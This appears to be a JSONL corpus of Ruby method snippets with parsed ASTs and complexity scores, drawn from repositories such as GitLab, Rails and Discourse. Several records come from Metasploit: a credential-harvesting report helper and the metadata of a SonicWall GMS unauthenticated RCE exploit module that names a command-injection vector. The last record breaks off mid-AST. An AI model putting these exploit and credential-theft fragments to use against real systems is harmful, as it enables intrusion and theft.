{"repo_name":"multiwoven","file_path":"./repos/multiwoven/server/app/models/alert_channel.rb","start_line":11,"raw_source":"def send_failure_alert(sync_attrs)\n    SyncAlertMailer.with(sync_attrs.merge({ recipients: })).sync_failure_email.deliver_now\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"send_failure_alert\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sync_attrs\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SyncAlertMailer\"]},\"with\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_attrs\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"recipients\"]},{\"type\":\"send\",\"children\":[null,\"recipients\"]}]}]}]}]},\"sync_failure_email\"]},\"deliver_now\"]}]}","id":"e1c4dc45-95ce-4b76-930c-e4d316c74009"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/container_registry/protection/create_tag_rule_service.rb","start_line":12,"raw_source":"def execute\n        unless can?(current_user, :admin_container_image, project)\n          return service_response_error(message: _('Unauthorized to create a protection rule for container image tags'))\n        end\n\n        unless tag_rule_count_less_than_maximum?\n          return service_response_error(message: _('Maximum number of protection rules have been reached.'))\n        end\n\n        unless ::ContainerRegistry::GitlabApiClient.supports_gitlab_api?\n          return service_response_error(message: _('GitLab container registry API not supported'))\n        end\n\n        protection_rule =\n          project.container_registry_protection_tag_rules.new(params.slice(*ALLOWED_ATTRIBUTES))\n\n        validation_error_msg = validate(protection_rule)\n        return service_response_error(message: validation_error_msg) if validation_error_msg\n\n        protection_rule.save\n        return service_response_error(message: protection_rule.errors.full_messages) unless protection_rule.persisted?\n\n        ServiceResponse.success(payload: { container_protection_tag_rule: protection_rule })\n      rescue ArgumentError => e\n        service_response_error(message: e.message)\n      end","complexity_score":45.5,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"admin_container_image\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"service_response_error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Unauthorized to create a protection rule for container image tags\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tag_rule_count_less_than_maximum?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"service_response_error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Maximum number of protection rules have been reached.\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"ContainerRegistry\"]},\"GitlabApiClient\"]},\"supports_gitlab_api?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"service_response_error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"GitLab container registry API not supported\"]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"protection_rule\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"container_registry_protection_tag_rules\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"slice\",{\"type\":\"splat\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ALLOWED_ATTRIBUTES\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"validation_error_msg\",{\"type\":\"send\",\"children\":[null,\"validate\",{\"type\":\"lvar\",\"children\":[\"protection_rule\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"validation_error_msg\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"service_response_error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"validation_error_msg\"]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"protection_rule\"]},\"save\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"protection_rule\"]},\"persisted?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"service_response_error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"protection_rule\"]},\"errors\"]},\"full_messages\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"success\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"container_protection_tag_rule\"]},{\"type\":\"lvar\",\"children\":[\"protection_rule\"]}]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"service_response_error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}]},null]}]}","id":"baa6f010-0c47-48c7-ac17-8e35849f542e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/issuable_base_service.rb","start_line":83,"raw_source":"def can_set_confidentiality?(issuable)\n    can?(current_user, :set_confidentiality, issuable)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"can_set_confidentiality?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"issuable\"]}]},{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"set_confidentiality\"]},{\"type\":\"lvar\",\"children\":[\"issuable\"]}]}]}","id":"9b0911f8-f5fd-4543-b56c-11d722a6ec07"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/ai/community_copy.rb","start_line":118,"raw_source":"def generate_description\n      comparable_descriptions = Subforem.cached_discoverable_ids.map do |id|\n        Settings::Community.community_description(subforem_id: id)\n      end.compact\n\n      prompt = build_description_prompt(comparable_descriptions)\n      response = Ai::Base.new.call(prompt)\n      parse_description_response(response)\n    end","complexity_score":13.3,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_description\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"comparable_descriptions\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Subforem\"]},\"cached_discoverable_ids\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Settings\"]},\"Community\"]},\"community_description\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"subforem_id\"]},{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]}]},\"compact\"]}]},{\"type\":\"lvasgn\",\"children\":[\"prompt\",{\"type\":\"send\",\"children\":[null,\"build_description_prompt\",{\"type\":\"lvar\",\"children\":[\"comparable_descriptions\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ai\"]},\"Base\"]},\"new\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"prompt\"]}]}]},{\"type\":\"send\",\"children\":[null,\"parse_description_response\",{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}]}","id":"f158d9c7-1396-49e1-bdfc-ce8638a5d989"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/repository_check/single_repository_worker.rb","start_line":44,"raw_source":"def git_fsck(repository)\n      return false unless repository.exists?\n\n      repository.raw_repository.fsck\n\n      true\n    rescue Gitlab::Git::Repository::GitError => e\n      Gitlab::RepositoryCheckLogger.error(\"#{repository.full_path}: #{e.message}\")\n      false\n    end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"git_fsck\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"repository\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"repository\"]},\"exists?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"repository\"]},\"raw_repository\"]},\"fsck\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Git\"]},\"Repository\"]},\"GitError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"RepositoryCheckLogger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"repository\"]},\"full_path\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]},{\"type\":\"false\",\"children\":[]}]}]},null]}]}","id":"8134d7a6-58c8-4821-8370-b6a34fd73063"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/suggestion.rb","start_line":45,"raw_source":"def appliable?(cached: true)\n    inapplicable_reason(cached: cached).nil?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"appliable?\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"cached\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"inapplicable_reason\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cached\"]},{\"type\":\"lvar\",\"children\":[\"cached\"]}]}]}]},\"nil?\"]}]}","id":"1baa65ce-3b95-483f-9226-87fdc4563112"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/channel.rb","start_line":438,"raw_source":"def synchronous?\n    return (self.flags & CHANNEL_FLAG_SYNCHRONOUS)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"synchronous?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"return\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"flags\"]},\"&\",{\"type\":\"const\",\"children\":[null,\"CHANNEL_FLAG_SYNCHRONOUS\"]}]}]}]}]}","id":"fd4c4c5a-a603-4f07-aa85-1b62bcb675df"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/deprecated_class_methods.rb","start_line":112,"raw_source":"def dir_env_file_const?(node)\n          DIR_ENV_FILE_CONSTANTS.include?(node&.short_name)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"dir_env_file_const?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DIR_ENV_FILE_CONSTANTS\"]},\"include?\",{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"short_name\"]}]}]}","id":"92cd6833-b155-4164-8348-83c2c8bb92e3"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/generators/named_base.rb","start_line":93,"raw_source":"def uncountable? # :doc:\n          singular_name == plural_name\n        end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"uncountable?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"singular_name\"]},\"==\",{\"type\":\"send\",\"children\":[null,\"plural_name\"]}]}]}","id":"59381b76-17e3-4213-aa03-a94b6d5736fa"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/file_path.rb","start_line":44,"raw_source":"def read\n      File.read self.absolute\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"read\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"absolute\"]}]}]}","id":"f134a8a0-0cad-4d39-a0eb-ed75d5b89cbe"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/work_package_types/subject_configuration_component.rb","start_line":66,"raw_source":"def subject_form_object\n      values = subject_configuration_form_values\n\n      Forms::SubjectConfigurationFormModel.new(\n        subject_configuration: values[:subject_configuration],\n        pattern: values[:pattern],\n        suggestions: sort_attributes(supported_attributes),\n        validation_errors: model.errors\n      )\n    end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"subject_form_object\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"values\",{\"type\":\"send\",\"children\":[null,\"subject_configuration_form_values\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Forms\"]},\"SubjectConfigurationFormModel\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"subject_configuration\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"subject_configuration\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pattern\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"pattern\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"suggestions\"]},{\"type\":\"send\",\"children\":[null,\"sort_attributes\",{\"type\":\"send\",\"children\":[null,\"supported_attributes\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"validation_errors\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"errors\"]}]}]}]}]}]}","id":"a35baddb-adff-4b57-a9a4-0954393cc07b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/merge_request_diff_helpers.rb","start_line":63,"raw_source":"def scroll_to_panel_elements_bottom(element)\n    evaluate_script(\"(function(el) {\n      const panel = document.querySelector('.js-static-panel-inner');\n      const rect = el.getBoundingClientRect();\n      const panelRect = panel.getBoundingClientRect();\n      panel.scrollBy(0, rect.bottom - panelRect.bottom);\n    })(arguments[0]);\", element.native)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"scroll_to_panel_elements_bottom\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"element\"]}]},{\"type\":\"send\",\"children\":[null,\"evaluate_script\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(function(el) {\\n\"]},{\"type\":\"str\",\"children\":[\"      const panel = document.querySelector('.js-static-panel-inner');\\n\"]},{\"type\":\"str\",\"children\":[\"      const rect = el.getBoundingClientRect();\\n\"]},{\"type\":\"str\",\"children\":[\"      const panelRect = panel.getBoundingClientRect();\\n\"]},{\"type\":\"str\",\"children\":[\"      panel.scrollBy(0, rect.bottom - panelRect.bottom);\\n\"]},{\"type\":\"str\",\"children\":[\"    })(arguments[0]);\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"element\"]},\"native\"]}]}]}","id":"34ffd02d-2489-45cb-ba7a-bc6b8729c00d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/credentials/razorsql.rb","start_line":63,"raw_source":"def report_cred(opts)\n    service_data = {\n      address: opts[:ip],\n      port: opts[:port],\n      service_name: opts[:service_name],\n      protocol: 'tcp',\n      workspace_id: myworkspace_id\n    }\n\n    credential_data = {\n      module_fullname: fullname,\n      post_reference_name: refname,\n      session_id: session_db_id,\n      origin_type: :session,\n      private_data: opts[:password],\n      private_type: :password,\n      username: opts[:user]\n    }.merge(service_data)\n\n    login_data = {\n      core: create_credential(credential_data),\n      status: Metasploit::Model::Login::Status::UNTRIED\n    }.merge(service_data)\n\n    create_credential_login(login_data)\n  end","complexity_score":17.2,"ast_json":"{\"type\":\"def\",\"children\":[\"report_cred\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"service_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"address\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ip\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"port\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"service_name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"protocol\"]},{\"type\":\"str\",\"children\":[\"tcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace_id\"]},{\"type\":\"send\",\"children\":[null,\"myworkspace_id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"credential_data\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"module_fullname\"]},{\"type\":\"send\",\"children\":[null,\"fullname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_reference_name\"]},{\"type\":\"send\",\"children\":[null,\"refname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"session_id\"]},{\"type\":\"send\",\"children\":[null,\"session_db_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"origin_type\"]},{\"type\":\"sym\",\"children\":[\"session\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"password\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_type\"]},{\"type\":\"sym\",\"children\":[\"password\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user\"]}]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"login_data\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"core\"]},{\"type\":\"send\",\"children\":[null,\"create_credential\",{\"type\":\"lvar\",\"children\":[\"credential_data\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Model\"]},\"Login\"]},\"Status\"]},\"UNTRIED\"]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]}]},{\"type\":\"send\",\"children\":[null,\"create_credential_login\",{\"type\":\"lvar\",\"children\":[\"login_data\"]}]}]}]}","id":"766c3a0b-4152-4f00-a4a1-2739ead12aa5"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/user_badges_controller.rb","start_line":179,"raw_source":"def ensure_badges_enabled\n    raise Discourse::NotFound unless SiteSetting.enable_badges?\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_badges_enabled\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"enable_badges?\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"NotFound\"]}]}]}]}","id":"5750b46a-bd87-4a38-a282-fbb4a1421582"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/vmdb/settings/activator.rb","start_line":10,"raw_source":"def activate\n        raise \"configuration invalid, see errors for details\" unless Validator.new(@config).valid?\n\n        @config.each_key do |k|\n          next unless respond_to?(k.to_s, true)\n\n          _log.debug(\"Activating #{k}\")\n          ost = OpenStruct.new(@config[k].stringify_keys)\n          send(k.to_s, ost)\n        end\n      end","complexity_score":23.1,"ast_json":"{\"type\":\"def\",\"children\":[\"activate\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Validator\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@config\"]}]},\"valid?\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"configuration invalid, see errors for details\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@config\"]},\"each_key\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},\"to_s\"]},{\"type\":\"true\",\"children\":[]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"debug\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Activating \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ost\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenStruct\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@config\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"k\"]}]},\"stringify_keys\"]}]}]},{\"type\":\"send\",\"children\":[null,\"send\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},\"to_s\"]},{\"type\":\"lvar\",\"children\":[\"ost\"]}]}]}]}]}]}","id":"beede02a-37c5-4f66-b96b-e9197d2183d5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/sonicwall/sonicwall_xmlrpc_rce.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => \"SonicWall Global Management System XMLRPC set_time_zone Unauth RCE\",\n        'Description' => %q{\n          This module exploits a vulnerability in SonicWall Global\n          Management System Virtual Appliance versions 8.1 (Build 8110.1197)\n          and below. This virtual appliance can be downloaded from\n          http://www.sonicwall.com/products/sonicwall-gms/ and is used 'in a\n          holistic way to manage your entire network security environment.'\n\n          These vulnerable versions (8.1 Build 8110.1197 and below) do not\n          prevent unauthenticated, external entities from making XML-RPC\n          requests to port 21009 of the virtual app. After the XML-RPC call\n          is made, a shell script is called like so:\n          'timeSetup.sh --tz=\"`command injection here`\"' --usentp=\"blah\"'.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Michael Flanders', # MSF Module\n          'kernelsmith' # Advisor\n        ],\n        'References' => [\n          ['CVE', '2014-8420'],\n          ['URL', 'https://www.digitaldefense.com/digital-defense/vrt-discoveries/'],\n          ['URL', 'https://slides.com/kernelsmith/bsidesaustin2018/#/']\n        ],\n        'Platform' => [ 'unix' ],\n        'Arch' => ARCH_CMD,\n        'Targets' => [\n          [ 'SonicWall Global Management System Virtual Appliance', {} ],\n        ],\n        'Payload' => {\n          # Can't use ampersand, Java's XML-RPC parser will complain and return an error\n          'BadChars' => \"\\x26\",\n          'Compat' => {\n            'PayloadType' => 'cmd',\n            'RequiredCmd' => 'generic bash telnet'\n          }\n        },\n        'DisclosureDate' => '2016-07-22',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('WEB_SERVER_PORT', [\n          false, 'Port of web console login page.\n                                             Defaults to 80/443 depending on SSL.'\n        ])\n      ]\n    )\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"SonicWall Global Management System XMLRPC set_time_zone Unauth RCE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a vulnerability in SonicWall Global\\n\"]},{\"type\":\"str\",\"children\":[\"          Management System Virtual Appliance versions 8.1 (Build 8110.1197)\\n\"]},{\"type\":\"str\",\"children\":[\"          and below. This virtual appliance can be downloaded from\\n\"]},{\"type\":\"str\",\"children\":[\"          http://www.sonicwall.com/products/sonicwall-gms/ and is used 'in a\\n\"]},{\"type\":\"str\",\"children\":[\"          holistic way to manage your entire network security environment.'\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          These vulnerable versions (8.1 Build 8110.1197 and below) do not\\n\"]},{\"type\":\"str\",\"children\":[\"          prevent unauthenticated, external entities from making XML-RPC\\n\"]},{\"type\":\"str\",\"children\":[\"          requests to port 21009 of the virtual app. After the XML-RPC call\\n\"]},{\"type\":\"str\",\"children\":[\"          is made, a shell script is called like so:\\n\"]},{\"type\":\"str\",\"children\":[\"          'timeSetup.sh --tz=\\\"`command injection here`\\\"' --usentp=\\\"blah\\\"'.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Michael 